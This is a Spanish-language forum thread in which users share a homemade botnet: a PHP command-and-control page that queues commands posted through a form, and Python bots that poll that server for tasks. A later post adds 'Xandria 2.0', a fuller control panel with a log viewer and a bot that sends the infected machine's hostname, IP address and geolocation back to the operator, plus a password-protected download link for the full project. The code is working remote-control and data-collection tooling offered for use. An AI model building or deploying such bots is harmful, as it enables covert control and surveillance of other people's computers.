Buenas, gente!
Este es mi primer post en la comunidad, y quería compartir con uds. un bot de conexión inversa, con la peculiaridad de que sólo es necesario tener un servidor web, ya que los comandos a ejecutar se van a pasar vía peticiones POST.
Si ya tienen un servidor web en la nube, mejor. Si no es así, pueden instalar XAMPP o LAMP y abrir el puerto 80 (recomiendo contratar un servidor web).
El archivo PHP que deben subir al servidor, es el siguiente:
<?php
$task = "task.txt";
if (!file_exists($task))
{
$handle = fopen($task, "a");
fwrite($handle, "");
fclose($handle);
}
if (isset($_POST["send"]))
{
$handle = fopen($task, "w");
fwrite($handle, date("Y-m-d H:i:s") . ";" . $_POST["send"]);
fclose($handle);
}
?>
<form method="post" action="#">
<input type="text" name="send" autocomplete="off">
</form>
Una vez subido ese archivo al servidor, pasamos a crear el bot (en Python), el cual se va a conectar a nuestro servidor y va a buscar la tarea a ejecutar, siempre verificando que la fecha y hora de la misma no esté dentro de la lista de tareas ejecutadas.
import requests
import time
tasks = []
def getTask():
url = "http://localhost/task.txt"
task = requests.get(url).text.split(";")
if len(task) > 1:
if task[0] in tasks:
return None
else:
tasks.append(task[0])
return task[1]
else:
return None
while True:
task = getTask()
if task != None:
if task == "status":
print("Bot status: Online.\n")
time.sleep(1)
Recuerden que la dirección http://localhost/ se debe reemplazar por la dirección del servidor al que queremos que el bot se conecte.
Para agregar más comandos al bot, simplemente se deben agregar más condiciones if, verificando el contenido string en la variable task.
Espero que les guste.
Adios!
Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho
Cita de: engel lex en 9 Enero 2018, 15:34 PM
Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho
De hecho, tengo un proyecto que estoy armando (Xandria 2.0) siguiendo esta estructura que posteé y los datos que das.
Simplemente no lo subí antes porque me pareció demasiado complejo, y mi idea era sólo aportar una estructura básica para el que quisiera experimentar.
Acá dejo el código de mi proyecto por si a alguien le pica la curiosidad.
https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY (https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY)
Clave: skollprog
Código PHP:
<?php
if (isset($_POST["xandria"]))
{
if (isset($_POST["query"]))
{
$query = $_POST["query"];
$date = date("Y-m-d H:i:s");
$file = fopen("query.txt", "w");
fwrite($file, $date . ", " . $query);
fclose($file);
}
if (isset($_POST["logs"]))
{
$logs = $_POST["logs"];
$argv = explode(" ", $logs);
$fname = "logs.txt";
if (file_exists($fname))
{
$temp = file($fname);
if ($argv[0] == "-f" or $argv[0] == "first")
{
for ($i = 0; $i < $argv[1]; $i++)
{
if (isset($temp[$i]))
{
$data = explode(",", $temp[$i]);
$date = '<u class="grey">' . trim($data[0]) . "</u>, ";
$name = '<span class="blue">' . trim($data[1]) . "</span>, ";
$addr = '<span class="red">' . trim($data[2]) . "</span>, ";
$info = trim($data[3]);
echo $date . $name . $addr . $info . "<br>";
}
}
}
else if ($argv[0] == "-l" or $argv[0] == "last")
{
for ($i = 0; $i < $argv[1]; $i++)
{
if (isset($temp[$i]))
{
$x = count($temp) - 1 - $i;
$data = explode(",", $temp[$x]);
$date = '<u class="grey">' . trim($data[0]) . "</u>, ";
$name = '<span class="blue">' . trim($data[1]) . "</span>, ";
$addr = '<span class="red">' . trim($data[2]) . "</span>, ";
$info = trim($data[3]);
echo $date . $name . $addr . $info . "<br>";
}
}
}
else if ($argv[0] == "-i" or $argv[0] == "index")
{
if ($argv[1] == "*" or $argv[1] == "all")
{
foreach ($temp as $log)
{
$data = explode(",", $log);
$date = '<u class="grey">' . trim($data[0]) . "</u>, ";
$name = '<span class="blue">' . trim($data[1]) . "</span>, ";
$addr = '<span class="red">' . trim($data[2]) . "</span>, ";
$info = trim($data[3]);
echo $date . $name . $addr . $info . "<br>";
}
}
else
{
$i = $argv[1] - 1;
if (isset($temp[$i]))
{
$data = explode(",", $temp[$i]);
$date = '<u class="grey">' . trim($data[0]) . "</u>, ";
$name = '<span class="blue">' . trim($data[1]) . "</span>, ";
$addr = '<span class="red">' . trim($data[2]) . "</span>, ";
$info = trim($data[3]);
echo $date . $name . $addr . $info . "<br>";
}
else
{
echo "invalid_log";
}
}
}
else
{
echo "invalid_argument";
}
}
}
if (isset($_POST["server"]))
{
$url = "http://" . $_SERVER["HTTP_HOST"] . "/";
echo $url . "<br>";
}
if (isset($_POST["build"]))
{
$file = "xandria.py";
echo $file . "<br>";
}
if (isset($_POST["report"]))
{
$fname = "logs.txt";
$file = fopen($fname, "a+");
$host = $_POST["host"];
$ip = $_POST["ip"];
$msg = $_POST["report"];
fwrite($file, date("Y-m-d H:i:s") . ", " . $host . ", " . $ip . ", " . $msg . "\n");
fclose($file);
}
}
else
{
?>
<!DOCTYPE html>
<html>
<head>
<title>Xandria 2.0 - Client</title>
<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
<script type="text/javascript" src="assets/js/jquery.js"></script>
<script type="text/javascript" src="assets/js/terminal.js"></script>
<link rel="stylesheet" type="text/css" href="assets/css/styles.css">
</head>
<body>
<span class="bg-black tag-init"> </span> <span class="bg-black"> XANDRIA </span> 2.0
<div class="content"></div>
<div class="prompt"><br>
□:// <input type="text" name="prompt">
</div>
</body>
</html>
<?php } ?>
Código Python:
import time
import socket
import requests
import json
SERVER_URL = "http://localhost/xandria/"
def geolocate():
try:
url = "http://freegeoip.net/json"
data = requests.get(url)
data = json.loads(data.text)
return data
except: return None
def ip():
data = geolocate()
if data != None:
return data["ip"]
else: return "unknown"
def country():
data = geolocate()
if data != None:
return data["country_name"]
else: return "unknown"
def city():
data = geolocate()
if data != None:
return data["city"]
else: return "unknown"
def timezone():
data = geolocate()
if data != None:
return data["time_zone"]
else: return "unknown"
def geocoords():
data = geolocate()
if data != None:
coords = "Lat:" + str(data["latitude"]) + " Lon:" + str(data["longitude"])
return coords
else: return "unknown"
def hostname():
try:
return socket.gethostname()
except: return "unknown"
def query():
try:
data = requests.get(server + "query.txt").text.split(",")
if data[0] in queries:
return None
else:
queries.append(data[0])
return data[1].strip()
except: return None
def report(message):
try:
requests.post(server, {"xandria":"", "host":host, "ip":address, "report":message})
except: pass
host = hostname()
address = ip()
server = SERVER_URL
queries = []
report("Online")
while True:
try:
data = query()
if data != None:
argv = data.split(" ")
if data == "hostname" : report(hostname())
if data == "ip" : report(ip())
if data == "country" : report(country())
if data == "city" : report(city())
if data == "timezone" : report(timezone())
if data == "geocoords": report(geocoords())
except:
pass
time.sleep(5)
Buen aporte.....
me creerias si te digo que yo ya lo habia pensado.
pero como cliente usaba un vbs para comunicarme con el servidor que contenia el php
saludos Flamer y si no lo publique nunca fue por que crei que lo mirarian muy simple y sencillo